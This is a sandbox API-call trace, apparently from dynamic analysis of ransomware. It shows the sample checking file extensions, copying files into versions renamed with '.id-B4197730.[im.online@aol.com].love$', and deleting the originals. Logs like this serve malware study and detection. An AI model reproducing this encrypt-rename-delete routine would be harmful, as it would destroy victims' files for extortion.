[0100.960] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.961] lstrlenW (lpString=".ppt") returned 4 [0100.961] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.961] lstrlenW (lpString=".zip") returned 4 [0100.961] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.961] lstrlenW (lpString=".rar") returned 4 [0100.961] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.961] lstrlenW (lpString=".bz2") returned 4 [0100.961] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.961] lstrlenW (lpString=".7z") returned 3 [0100.961] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.961] lstrlenW (lpString=".dbf") returned 4 [0100.961] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.961] lstrlenW (lpString=".1cd") returned 4 [0100.961] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.961] lstrlenW (lpString=".jpg") returned 4 [0100.961] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.961] lstrlenW (lpString=".doc") returned 4 [0100.961] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.961] lstrlenW (lpString=".docx") returned 5 [0100.962] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.962] lstrlenW (lpString=".pdf") returned 4 [0100.962] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.962] lstrlenW (lpString=".xls") returned 4 [0100.962] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.962] lstrlenW (lpString=".xlsx") returned 5 [0100.962] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.962] lstrlenW (lpString=".ppt") returned 4 [0100.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.962] lstrlenW (lpString=".zip") returned 4 [0100.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.962] lstrlenW (lpString=".rar") returned 4 [0100.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.962] lstrlenW (lpString=".bz2") returned 4 [0100.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.962] lstrlenW (lpString=".7z") returned 3 [0100.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.962] lstrlenW (lpString=".dbf") returned 4 [0100.962] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.962] lstrlenW (lpString=".1cd") returned 4 [0100.962] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.962] lstrlenW (lpString=".jpg") returned 4 [0100.962] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.964] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.964] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0100.964] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18776) returned 1 [0100.964] CloseHandle (hObject=0x340) returned 1 [0100.964] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0100.965] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0100.965] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.965] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0100.967] GetLastError () returned 0x0 [0100.967] ReadFile (in: hFile=0x340, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x4958, lpOverlapped=0x0) returned 1 [0100.986] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4960, lpOverlapped=0x0) returned 1 [0100.988] ReadFile (in: hFile=0x340, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.988] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.989] SetEndOfFile (hFile=0x338) returned 1 [0100.989] CloseHandle (hObject=0x338) returned 1 [0100.991] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.991] SetEndOfFile (hFile=0x340) returned 1 [0100.992] CloseHandle (hObject=0x340) returned 1 [0100.992] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.993] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0100.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.993] lstrlenW (lpString=".doc") returned 4 [0100.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.993] lstrlenW (lpString=".docx") returned 5 [0100.993] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.993] lstrlenW (lpString=".pdf") returned 4 [0100.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.993] lstrlenW (lpString=".xls") returned 4 [0100.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.993] lstrlenW (lpString=".xlsx") returned 5 [0100.993] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.993] lstrlenW (lpString=".ppt") returned 4 [0100.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.993] lstrlenW (lpString=".zip") returned 4 [0100.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.994] lstrlenW (lpString=".rar") returned 4 [0100.994] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.994] lstrlenW (lpString=".bz2") returned 4 [0100.994] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.994] lstrlenW (lpString=".7z") returned 3 [0100.994] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.994] lstrlenW (lpString=".dbf") returned 4 [0100.994] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.994] lstrlenW (lpString=".1cd") returned 4 [0100.994] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.994] lstrlenW (lpString=".jpg") returned 4 [0100.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.994] lstrlenW (lpString=".doc") returned 4 [0100.994] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.994] lstrlenW (lpString=".docx") returned 5 [0100.994] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.994] lstrlenW (lpString=".pdf") returned 4 [0100.994] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.994] lstrlenW (lpString=".xls") returned 4 [0100.995] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.995] lstrlenW (lpString=".xlsx") returned 5 [0100.995] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.995] lstrlenW (lpString=".ppt") returned 4 [0100.995] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.995] lstrlenW (lpString=".zip") returned 4 [0100.995] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.995] lstrlenW (lpString=".rar") returned 4 [0100.995] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.995] lstrlenW (lpString=".bz2") returned 4 [0100.995] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.995] lstrlenW (lpString=".7z") returned 3 [0100.995] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.995] lstrlenW (lpString=".dbf") returned 4 [0100.995] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.995] lstrlenW (lpString=".1cd") returned 4 [0100.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0100.995] lstrlenW (lpString=".jpg") returned 4 [0100.995] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.995] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0100.996] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0100.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0100.996] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=88533) returned 1 [0100.996] CloseHandle (hObject=0x340) returned 1 [0100.996] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0100.996] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0100.996] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.996] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.997] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0100.997] GetLastError () returned 0x0 [0100.997] ReadFile (in: hFile=0x340, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0101.514] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0101.516] ReadFile (in: hFile=0x340, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.516] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf2, lpOverlapped=0x0) returned 1 [0101.516] SetEndOfFile (hFile=0x338) returned 1 [0101.516] CloseHandle (hObject=0x338) returned 1 [0101.519] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.519] SetEndOfFile (hFile=0x340) returned 1 [0101.520] CloseHandle (hObject=0x340) returned 1 [0101.520] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.896] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0102.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.897] lstrlenW (lpString=".doc") returned 4 [0102.897] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.897] lstrlenW (lpString=".docx") returned 5 [0102.897] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0102.897] lstrlenW (lpString=".pdf") returned 4 [0102.897] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.897] lstrlenW (lpString=".xls") returned 4 [0102.897] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.897] lstrlenW (lpString=".xlsx") returned 5 [0102.897] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0102.897] lstrlenW (lpString=".ppt") returned 4 [0102.897] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.897] lstrlenW (lpString=".zip") returned 4 [0102.897] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.897] lstrlenW (lpString=".rar") returned 4 [0102.897] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.897] lstrlenW (lpString=".bz2") returned 4 [0102.897] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.897] lstrlenW (lpString=".7z") returned 3 [0102.897] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.897] lstrlenW (lpString=".dbf") returned 4 [0102.897] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.898] lstrlenW (lpString=".1cd") returned 4 [0102.898] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.898] lstrlenW (lpString=".jpg") returned 4 [0102.898] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.898] lstrlenW (lpString=".doc") returned 4 [0102.898] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.898] lstrlenW (lpString=".docx") returned 5 [0102.898] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0102.898] lstrlenW (lpString=".pdf") returned 4 [0102.898] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.898] lstrlenW (lpString=".xls") returned 4 [0102.898] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.898] lstrlenW (lpString=".xlsx") returned 5 [0102.898] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0102.898] lstrlenW (lpString=".ppt") returned 4 [0102.898] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.898] lstrlenW (lpString=".zip") returned 4 [0102.898] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.898] lstrlenW (lpString=".rar") returned 4 [0102.898] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.898] lstrlenW (lpString=".bz2") returned 4 [0102.898] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.899] lstrlenW (lpString=".7z") returned 3 [0102.899] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.899] lstrlenW (lpString=".dbf") returned 4 [0102.899] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.899] lstrlenW (lpString=".1cd") returned 4 [0102.899] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.899] lstrlenW (lpString=".jpg") returned 4 [0102.899] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.899] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0102.899] lstrlenW (lpString="Rotate6.ico") returned 11 [0102.899] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.902] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=894) returned 1 [0102.902] CloseHandle (hObject=0x344) returned 1 [0102.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0102.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.902] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.902] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0102.903] GetLastError () returned 0x0 [0102.903] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x37e, lpOverlapped=0x0) returned 1 [0102.906] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x380, lpOverlapped=0x0) returned 1 [0102.907] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.908] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xea, lpOverlapped=0x0) returned 1 [0102.908] SetEndOfFile (hFile=0x2c8) returned 1 [0102.908] CloseHandle (hObject=0x2c8) returned 1 [0102.909] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.909] SetEndOfFile (hFile=0x344) returned 1 [0102.910] CloseHandle (hObject=0x344) returned 1 [0102.910] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.910] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0102.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.911] lstrlenW (lpString=".doc") returned 4 [0102.911] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.911] lstrlenW (lpString=".docx") returned 5 [0102.911] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0102.911] lstrlenW (lpString=".pdf") returned 4 [0102.911] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.911] lstrlenW (lpString=".xls") returned 4 [0102.911] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.911] lstrlenW (lpString=".xlsx") returned 5 [0102.911] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0102.911] lstrlenW (lpString=".ppt") returned 4 [0102.911] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.911] lstrlenW (lpString=".zip") returned 4 [0102.911] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.911] lstrlenW (lpString=".rar") returned 4 [0102.911] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.911] lstrlenW (lpString=".bz2") returned 4 [0102.912] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.912] lstrlenW (lpString=".7z") returned 3 [0102.912] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.912] lstrlenW (lpString=".dbf") returned 4 [0102.912] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.912] lstrlenW (lpString=".1cd") returned 4 [0102.912] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.912] lstrlenW (lpString=".jpg") returned 4 [0102.912] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.912] lstrlenW (lpString=".doc") returned 4 [0102.912] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.912] lstrlenW (lpString=".docx") returned 5 [0102.912] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0102.912] lstrlenW (lpString=".pdf") returned 4 [0102.912] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.912] lstrlenW (lpString=".xls") returned 4 [0102.912] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.912] lstrlenW (lpString=".xlsx") returned 5 [0102.912] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0102.912] lstrlenW (lpString=".ppt") returned 4 [0102.912] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.913] lstrlenW (lpString=".zip") returned 4 [0102.913] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.913] lstrlenW (lpString=".rar") returned 4 [0102.913] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.913] lstrlenW (lpString=".bz2") returned 4 [0102.913] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.913] lstrlenW (lpString=".7z") returned 3 [0102.913] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.913] lstrlenW 